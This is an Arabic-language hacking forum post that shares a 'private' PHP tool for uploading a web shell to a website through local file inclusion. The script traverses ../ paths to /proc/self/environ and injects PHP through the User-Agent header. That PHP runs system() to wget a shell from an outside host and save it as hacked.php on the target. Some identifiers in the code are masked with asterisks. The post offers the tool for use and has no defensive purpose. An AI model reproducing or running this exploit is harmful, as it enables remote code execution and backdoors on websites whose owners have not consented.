مرحبا
شباب اداة برايفت واحد اجنبي صاحبي مبرمجها
الشب قرر ينزلها
بس مش حتلاقوها ولا محل غير هون
و الشب اسمو بلاك دريم وهو اجنبي يعني مش علااء المصري يلي منعرفو :a07:
كود PHP:
<?php
//Get Shell Via LFI(Local File Inclusion)
//Copyright BlackDream 2009
//mr.pr0n you are the best boy
//edit this if you want. Linux Command
$cmd = "<?php system(\"wget http://testsite.li/components/shell.txt; mv shell.txt hacked.php\");?>";
$site = "http://www.thesite.com/index.php?page="; //enter it like http://www.thesite.com/index.php?page=
$proc_path = "proc/self/environ"; //without first slash
//Do not edit below this line
preg_match( "@^(http://.*?)(/|$)@", $site, $matches );
$path = "";
$i = 0;
while ( 1 )
{
if ( $i >= 20 )
break;
$path .= "../";
$source = page_get_*******( $site . $path . $proc_path );
if ( strstr($source, '********_ROOT') != false )
{
exit( "\nShell Uploaded With Success -> " . $matches[1] . '/' . "hacked.php" );
} else
echo "\nFail at state " . $i . "\n";
$i++;
}
function page_get_*******( $url )
{
global $cmd;
$ch = curl_init( $url );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_HEADER, 0 );
curl_setopt( $ch, CURLOPT_USERAGENT, $cmd );
curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, 2 );
curl_setopt( $ch, CURLOPT_TIMEOUT, 4 );
$ret = curl_exec( $ch );
curl_close( $ch );
return $ret;
}
?>
Uploading Shell Through Local File Inclusion ( LFI ) priv8